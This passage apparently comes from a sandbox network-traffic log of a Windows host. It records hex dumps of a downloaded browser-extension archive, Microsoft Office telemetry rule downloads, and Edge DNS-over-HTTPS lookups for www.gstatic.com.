Dn2k136w8xWuE<`ZT\|uKCc$
2024-10-29 05:59:25 UTC	1378	IN	Data Raw: ec 3c 53 7b bd 2b 0d f6 8f 48 d5 27 4c 9d 21 67 cf 13 d5 fd 28 ef 16 fb ab 5b b1 72 6f 45 f7 8a 4f da b3 e7 94 c8 03 e1 ba 8f ea 98 8d ad 70 5b 75 d3 db 31 31 1e 65 20 3f 73 03 a7 8c c0 5d 02 07 98 cf a2 15 9d ee 3b 96 d8 5b 6e bd d6 e7 1c e9 c6 a6 3c ec 04 df 03 02 d8 07 6a 07 4f 70 bb e6 0d 44 84 8e 31 f6 ed 1b e9 6a c5 3d 68 26 0c d9 55 07 3f b0 8e cd 25 f6 a5 bf 92 bd 1a 68 de 40 51 36 ee b9 e4 ce 81 50 6c c6 16 de 88 4e bc 66 c4 fd 22 da f5 e3 d6 a9 11 77 1e cc c8 00 69 9f 41 62 95 20 df bd 2c b1 bf 6b be 5b ba 52 77 ca c0 9b 04 7c b7 44 3b 68 e6 61 cf 76 78 4c 3a 74 24 9e d6 21 da de bf f7 1b 89 3f 5c 33 4b 7c e7 5f 9b f5 e1 23 f2 f7 8f ff 83 bf 91 02 97 ae 8d 7f 06 9c bd 4c 5d 83 7b e3 6b 6c 38 41 a1 10 8f 67 d6 26 30 9e 29 6c 6d ce c7 a7 68 e7 66 Data Ascii: <S{+H'L!g([roEOp[u11e ?s];[n<jOpD1j=h&U?%h@Q6PlNf"wiAb ,k[Rw\|D;havxL:t$!?\3K\|_#L]{kl8Ag&0)lmhf
2024-10-29 05:59:25 UTC	1378	IN	Data Raw: 73 be d1 73 8f fe f4 bd 21 33 d5 4d 7a 30 92 e6 a0 73 01 69 4f 6c e7 64 e7 06 c4 1f cd ca 43 29 99 d5 a9 e4 d2 27 1d 24 47 c6 70 b9 db 83 b8 ff e3 7b 43 fd 1c bd 60 8e 2a b8 9e 3b 74 be 19 0c 65 10 ff b7 71 9b 03 75 c2 bc 05 66 42 30 d4 bd 44 4c 1f e0 98 f8 e0 5e 51 d6 09 16 ee 62 8a 41 64 da 7a 3d 5a 33 a2 f1 1d 19 2a c9 80 f3 07 8d 29 4d f6 90 9d 6a f4 d8 56 61 85 9f 3a ce 4e 59 a7 6e a9 e5 ea 31 ff db f8 7b 43 fb aa 2b b5 c2 4c a8 10 57 3e 9d 12 73 e0 51 5f ef a3 40 64 48 ab 09 6b 6a 14 35 a1 2f 83 cb 26 d1 e4 cb 9d b8 cb 6e d2 3d 1d 90 fa 7e 9d 1e 6b cc d2 f8 7b 2e c6 37 f3 df 63 e9 ba ef fe 7d de f2 f4 a7 e7 2c 7f fb ee 20 7d 36 a6 a6 6a 7f 3b 2b 59 eb 18 b5 6f b9 8e 0b c1 c7 7b c1 1d 95 99 f6 ad e8 d4 b5 e8 6c ed 3f a7 af c2 af 3f 73 bf 3d ff ef 77 Data Ascii: ss!3Mz0siOldC)'$Gp{C`;tequfB0DL^QbAdz=Z3)MjVa:NYn1{C+LW>sQ_@dHkj5/&n=~k{.7c}, }6j;+Yo{l??s=w
2024-10-29 05:59:25 UTC	1378	IN	Data Raw: 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 73 76 2f 6d 65 73 73 61 67 65 73 2e 6a 73 6f 6e 55 54 05 00 01 50 03 fc 66 0a 00 20 00 00 00 00 00 01 00 18 00 00 08 b1 f4 0b 14 db 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 8d 52 3d 6f dc 30 0c dd fb 2b 08 cf 46 70 fd 1c b2 05 08 d0 a1 45 53 a4 59 02 64 61 4e b4 23 48 a6 04 8a 72 72 08 f2 df 4b 9d 7d 08 ce e8 d0 45 03 45 be f7 f8 1e 5f bb bd 10 2a 31 3d 77 97 af dd 44 a5 e0 48 dd 65 f7 e7 c7 d5 ef 2b f8 75 7f 77 d7 bd f5 1d bd e4 88 8c ea 13 a7 61 88 9e c9 f9 82 8f 91 dc f9 d4 75 85 87 ba db d1 17 81 b5 ef 02 6e 26 70 15 66 1f 23 20 cf cb 37 3b 84 ef 29 8d 91 e0 3a 85 3a 11 2b 54 45 06 cf 4a c2 a4 35 e7 90 72 36 84 b1 3f 42 0e df 72 66 Data Ascii: !-_locales/sv/messages.jsonUTPf R=o0+FpESYdaN#HrrK}EE_*1=wDHe+uwaun&pf# 7;)::+TEJ5r6?Brf
2024-10-29 05:59:25 UTC	1378	IN	Data Raw: d6 92 10 e8 84 d6 9a 4c 28 b9 28 68 15 81 3d 3a d0 47 7f 87 f5 aa c5 a0 2c 48 96 b4 9f 93 24 bf 74 ca 3b a4 a0 f9 6a e6 a1 cc 40 81 91 19 30 5d a1 39 7e 39 01 48 39 a0 4f 22 d8 2a e1 e0 08 be e7 cf 6d 6c b8 0b be c9 03 07 28 7d 6a dc e2 3f 42 98 78 2d d6 a1 b1 19 12 f8 68 b4 04 85 9d 97 35 1c 1b 0c 16 5f 55 b4 c5 fe ea 43 28 83 0e 40 08 bf 0d 79 16 7a c3 cf 26 b0 46 00 0e 4b 9e 50 f8 ed 3b 0e 8c 5d 3c 0b 64 ca 72 2e 90 41 1f b1 d4 e7 ed 22 33 dd 46 8d 4d 1a 99 c7 e4 99 3c 21 86 b1 e4 d2 54 27 cf df ef 91 4e 01 0d 30 81 96 55 96 37 4e 3d d0 01 5c b2 ca 55 80 04 ec aa e2 2a 73 90 6b ac 51 58 5b 6a 0a 34 8b b4 b7 4f b0 0d b9 c6 2c a1 85 38 3d c9 71 2f 07 ef 6d df 60 8f b9 82 8c 87 80 43 e8 d4 88 fe 62 9f b4 94 b9 d7 66 ac 7c 82 88 1d 51 d1 f9 61 37 fe 39 d8 Data Ascii: L((h=:G,H$t;j@0]9~9H9O"ml(}j?Bx-h5_UC(@yz&FKP;]<dr.A"3FM<!T'N0U7N=\UskQX[j4O,8=q/m`Cbf\|Qa79
2024-10-29 05:59:25 UTC	1378	IN	Data Raw: ad c4 ca 60 aa 12 70 5b 7b 7a c3 30 ec 7c ed 63 70 f3 2d c2 2b 61 1b 8f d7 00 1b e0 cd 2b ef 78 f7 a3 67 c0 39 32 a9 1f 80 6c 66 17 97 d6 80 80 69 32 ab bf c3 f0 d2 d1 02 c6 d1 d1 ca 7f 28 f3 d3 05 cf d7 e6 67 96 67 73 39 3b dd 9e 5f c5 2e 08 52 5b 60 e6 23 e4 24 80 17 de cf 8c 32 61 22 26 18 40 81 51 37 1a 3d e4 69 36 45 18 6c 38 96 b1 f8 bc 04 25 63 8c 69 6f 0b 8e 93 22 11 da 2b e2 2e dd 3c 66 df 7d 3c c4 05 36 71 e2 c9 b8 a6 7e 66 b3 9b 73 21 3a a7 95 67 38 d4 83 89 c3 d7 91 64 de c5 5b 01 f5 ff a5 13 58 78 d8 a8 54 25 22 24 d8 16 40 cd 81 70 5e c5 3b d8 dd 55 72 b8 9e d6 48 15 06 41 57 68 5b e8 27 30 b1 82 0f e8 09 d8 f8 24 0d ae 73 05 91 20 6f 32 84 0d f0 82 95 ca 25 80 50 f5 46 fa 49 1e 46 5e 38 4e d2 28 ef db ce 9f 18 54 a7 c3 53 4b c7 26 a2 ba e4 Data Ascii: `p[{z0\|cp-+a+xg92lfi2(ggs9;_.R[`#$2a"&@Q7=i6El8%cio"+.<f}<6q~fs!:g8d[XxT%"$@p^;UrHAWh['0$s o2%PFIF^8N(TSK&
2024-10-29 05:59:25 UTC	1378	IN	Data Raw: 58 0d 04 41 31 f1 f1 a8 15 a1 54 1e 5a 8d 72 3d e2 47 40 31 01 b6 e2 e3 20 ba 53 87 b9 64 39 96 a9 1f 50 8d c3 df 89 4f 3c 44 83 14 ce e2 33 f3 a3 46 d1 e2 45 58 a7 2c f7 48 0a 04 81 50 14 d0 11 86 4d 66 e7 ff be d5 aa ce 18 47 ec d9 2c f8 22 13 e5 35 27 b7 b0 97 2a bf 2c 0b d7 07 48 d7 30 c9 86 93 1f b0 17 3e b8 b1 bc a7 01 17 51 9c 66 55 50 9a b0 bb 80 25 f5 6f 33 e1 cf d4 9d 1c 93 ba 54 72 a7 e2 f6 75 97 90 fe 6f d2 46 10 67 11 75 4c 7e d0 94 af e3 4d 5d b4 38 17 ad 83 c4 09 26 df 24 fb 10 6d 5d e5 56 f8 11 0d 2d bb f3 2c 35 9d 43 aa d3 dc cc 21 ae 95 db 49 63 90 e8 bb b5 a2 31 68 28 4f c1 46 84 c4 ae 85 65 77 6e 1d 5c 72 28 c5 cb d9 9f 0c 82 36 6a 85 c3 0c cb 86 67 50 98 fd a8 5e 6f c5 03 8b 54 f3 c2 30 f0 94 72 6d 96 45 e2 75 68 b3 3c 02 83 6b 79 2f Data Ascii: XA1TZr=G@1 Sd9PO<D3FEX,HPMfG,"5'*,H0>QfUP%o3TruoFguL~M]8&$m]V-,5C!Ic1h(OFewn\r(6jgP^oT0rmEuh<ky/
2024-10-29 05:59:25 UTC	1378	IN	Data Raw: 14 0d 73 e2 64 7e de 02 18 e4 0f c3 f4 76 5f 5c be dd ce 6f 88 69 ac e4 50 fa ee 07 ab c8 a0 8b 52 e9 bb 55 6b fa 9f c6 22 3c 29 b7 da 31 d5 9e ae 5a b0 94 e9 7c 5c e7 66 a1 94 56 e8 81 c0 57 d2 a5 5b 41 6a 0e 92 60 dd 9b c4 c3 77 12 c5 dc 29 96 c5 76 0c 56 10 bf 85 d3 7f df 78 05 8d e2 78 fc 2e d0 e2 68 c5 5e ba e2 78 a2 f7 ae 74 a2 c9 5d 23 c5 a1 dd 77 87 05 87 09 52 cb 31 68 27 3d 4b 9d 65 b2 de 77 fd b1 ff 96 4d 3f 5e 60 b9 1e 38 a4 9e c8 b0 ea d5 db 24 51 55 05 52 b6 f2 27 f0 e4 fd 6c 75 91 a7 7f 43 1e 77 ee c0 54 0b 56 cd 31 4f 5e ee ea 9b de 9a b3 38 11 b7 da d9 f9 e5 0f 50 4b 07 08 fd 45 55 f9 17 02 00 00 f3 0a 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 6d 6e 2f 6d 65 Data Ascii: sd~v_\oiPRUk"<)1Z\|\fVW[Aj`w)vVxx.h^xt]#wR1h'=KewM?^`8$QUR'luCwTV1O^8PKEUPK!-_locales/mn/me

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.5	49775	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 05:59:25 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 05:59:25 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 05:59:25 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: e7bd3bd0-f01e-003c-42e3-258cf0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T055925Z-15b8d89586fvpb59307bn2rcac00000001bg000000001a2h x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 05:59:25 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.5	49773	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 05:59:25 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 05:59:25 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 05:59:25 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: d5e28e91-a01e-0021-638f-27814c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T055925Z-r197bdfb6b4d9xksru4x6qbqr0000000062g00000000d5fy x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 05:59:25 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.5	49772	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 05:59:25 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 05:59:25 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 05:59:25 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: 9426c385-b01e-0053-505f-27cdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T055925Z-r197bdfb6b4qbfppwgs4nqza8000000004vg0000000002nn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 05:59:25 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.5	49771	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 05:59:25 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 05:59:25 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 05:59:25 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: 6484a1a6-201e-0000-75a3-26a537000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T055925Z-16849878b78sx229w7g7at4nkg00000004b000000000aa0a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 05:59:25 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.5	49774	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 05:59:25 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 05:59:25 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 05:59:25 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: 1a39e609-901e-0048-60a3-26b800000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T055925Z-16849878b7898p5f6vryaqvp5800000006v000000000kmnp x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 05:59:25 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.5	49791	162.159.61.3	443	6632	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 05:59:26 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-10-29 05:59:26 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-10-29 05:59:26 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Tue, 29 Oct 2024 05:59:26 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8da0f0849bb0e589-DFW alt-svc: h3=":443"; ma=86400
2024-10-29 05:59:26 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 69 00 04 8e fb 74 5e 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomit^)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.5	49793	172.64.41.3	443	6632	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 05:59:26 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-10-29 05:59:26 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-10-29 05:59:26 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Tue, 29 Oct 2024 05:59:26 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8da0f0849e98e7cf-DFW alt-svc: h3=":443"; ma=86400
2024-10-29 05:59:26 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 00 00 04 8e fa 73 5e 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcoms^)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.5	49792	172.64.41.3	443	6632	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 05:59:26 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-10-29 05:59:26 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-10-29 05:59:26 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Tue, 29 Oct 2024 05:59:26 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8da0f0849dc93461-DFW alt-svc: h3=":443"; ma=86400
